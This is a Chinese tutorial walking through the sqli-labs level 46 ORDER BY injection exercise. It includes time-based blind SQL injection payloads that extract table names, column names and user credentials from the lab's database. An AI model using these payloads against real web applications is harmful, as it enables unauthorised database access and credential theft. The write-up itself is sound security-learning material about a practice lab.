通过盲注脚本复习sqllabs第46关order by 注入

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下

复制代码
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

打开第46关,发现提示

提示我们Please input parameter as SORT with numeric value(用数字形式输入[sort]排序参数)

这里可以进行尝试一下,按照提示,发现确实是这样

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

select * from 表名 order by 列名(或者数字) desc;降序;(同样道理)

?sort=rand(true)

?sort=rand(false)

说明存在注入点且可以使用报错注入

接下来可以进行判断字段数

输入3回显正常,但是4就报错,说明有三个字段

然后暴库

也可以采用时间盲注

结果是一样的

表名:

也可以时间注入:

复制代码
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)

字段:

时间注入:

复制代码
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)

数据:

时间注入:

复制代码
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',sleep(5),0)
相关推荐
tangyal8 小时前
渗透笔记1
笔记·网络安全·渗透
吉吉6113 小时前
浅谈文件包含之伪协议
安全·web安全
吗喽15434518813 小时前
渗透高级第一次作业(笔记整理)
笔记·安全·网络安全
Jerry_Gao92114 小时前
【成长笔记】【web安全】深入Web安全与PHP底层:四天实战课程笔记
笔记·安全·web安全·php·漏洞
遗悲风14 小时前
PHP伪协议全面解析:原理、常用场景、攻防实战与安全防护
android·安全·php
弥生赞歌15 小时前
网安学习第一章(安全事件、安全厂商和安全产品)
安全
吃不吃早饭15 小时前
深入浅出:HTTPS 安全机制 + PHP 文件包含与伪协议全解析
安全·https·php
摘星编程15 小时前
React Native for OpenHarmony 实战:SecureStorage 安全存储详解
安全·react native·react.js
小北方城市网16 小时前
SpringBoot 集成 MyBatis-Plus 实战(高效 CRUD 与复杂查询):简化数据库操作
java·数据库·人工智能·spring boot·后端·安全·mybatis
w***765517 小时前
临时文件自动化管理:高效安全新方案
运维·安全·自动化